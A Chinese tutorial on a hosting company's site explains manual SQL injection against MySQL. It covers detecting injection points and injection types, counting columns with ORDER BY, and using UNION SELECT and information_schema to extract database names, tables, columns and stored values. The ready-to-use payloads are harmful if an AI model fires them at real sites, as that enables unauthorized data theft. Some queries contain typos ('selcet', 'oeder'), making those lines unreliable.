您现在的位置是:群英 > 数据库 > 关系型数据库
SQL手工注入过程中怎么判断注入类型
Admin发表于 2022-06-13 17:16:531725 次浏览
在这篇文章中我们会学习到关于“SQL手工注入过程中怎么判断注入类型”的知识,小编觉得挺不错的,现在分享给大家,也给大家做个参考,希望对大家学习或工作能有帮助。下面就请大家跟着小编的思路一起来学习一下吧。

本篇文章给大家带来了关于sql中手工注入的相关问题,其中包括判断注入点以及判断注入类型的相关问题,希望对大家有帮助。

判断注入点

1.单引号法:直接在网址后面加一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在sql注入漏洞

2.1=1和1=2:在网址后面的get传参中加上 and 1=1 ,显示正常,把1=1替换为1=2,显示异常,说明网页存在sql注入。

判断注入类型

1.数字型注入:注入变量的值不需要用引号引起来,如

select * from user where id=$id;

2.字符型注入:注入变量会用引号包裹起来,如`

select * from user where username='$username';`

注入时注意要闭合引号。
3.搜索型注入:

select * from user where username like '%$pass%';

把sql语句构造为

select * from user where username like '%$pass%' union select语句 '%%';

即传输的变量为 pass%’ union select语句 '% 形成闭合。

判断注入点提交方式

通过抓包等方式判断注入点的提交方式是get,post,还是cookie。

使用order by 查询字段

使用order by 语句可以查询出数据库有多少个字段,可以通过不断的尝试来确定数据库字段数量,如在输入oeder by 9时,页面报错而输入order by 8时页面显示正常,即数据库中有8个字段。
如查询语句为:select * from user where id='$id';
可以构造下面的输入:(id = ') ' order by 3 '+--+
即查询语句为:select * from user where id='' order by 3 '--'

使用联合查询来查询当前数据库、用户、版本信息

使用 union select 语句来查询当前使用用户 user() , 数据库database() ,数据库版本 version() ,服务器操作系统的@@version_compile_os等信息
version版本十分重要,如果版本在5.0以上,就可以使用information_schema库来轻易的查询想要的信息
构造语句:

select * from user where id='' union select user(),database(),version()+--+;

查询当前数据库中的表,列和值

5.0 版本以上的mysql数据库自带的information_schema库中存储着数据库中所有的表名和列明信息。
下面我们就应该根据第五步查询的当前数据库的结果(如数据库为database_1)名下所有的表名tables的信息。
Information_schema.tables :记录着数据库中所有表名信息的表。
构造的查询语句如下:

Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--

查询的结果为:第五步查询的当前数据库中的表名信息。
Information_schema.columns:记录着数据库中所有的表中的列名信息;
下面就应该根据上面查询得到的表名信息(如表为table_1)查询他的列名信息,构造语句如下:

Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--

查询出列名后,就可以直接通过联合查询查出表中存储的信息(如查出的列名为column_1,column_2)构造语句

Selcet * from user where id='' union select 1,column_1,column_2 from tables;--



以上就是关于SQL手工注入过程中怎么判断注入类型的介绍啦,需要的朋友可以参考上述内容,希望对大家有帮助,欢迎关注群英网络,小编将为大家输出更多高质量的实用文章!

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:mmqy2019@163.com进行举报,并提供相关证据,查实之后,将立刻删除涉嫌侵权内容。

标签: sql
相关信息推荐
2022-10-26 17:58:43 
摘要:本篇文章给大家带来了关于MySQL的相关知识,其中主要整理了日志管理的相关问题,包括了错误日志、通用查询日志、二进制日志等等内容,下面一起来看一下,希望对大家有帮助。
2022-10-19 17:30:18 
摘要:本篇文章给大家带来了关于mysql的相关知识,序列是一组整数如1,2,3,...为了在需要时生成的,下面介绍了关于MySQL中使用序列Sequence的相关资料,希望对大家有帮助。
2022-06-09 17:55:39 
摘要:sql语句执行顺序:1、最先执行from tab;2、where语句是对条件加以限定;3、分组语句【group by…… having】;4、聚合函数;5、select语句;6、order by排序语句。
群英网络助力开启安全的云计算之旅
立即注册,领取新人大礼包
  • 联系我们
  • 24小时售后:4006784567
  • 24小时TEL :0668-2555666
  • 售前咨询TEL:400-678-4567

  • 官方微信

    官方微信
Copyright  ©  QY  Network  Company  Ltd. All  Rights  Reserved. 2003-2019  群英网络  版权所有   茂名市群英网络有限公司
增值电信经营许可证 : B1.B2-20140078   粤ICP备09006778号
免费拨打  400-678-4567
免费拨打  400-678-4567 免费拨打 400-678-4567 或 0668-2555555
微信公众号
返回顶部
返回顶部 返回顶部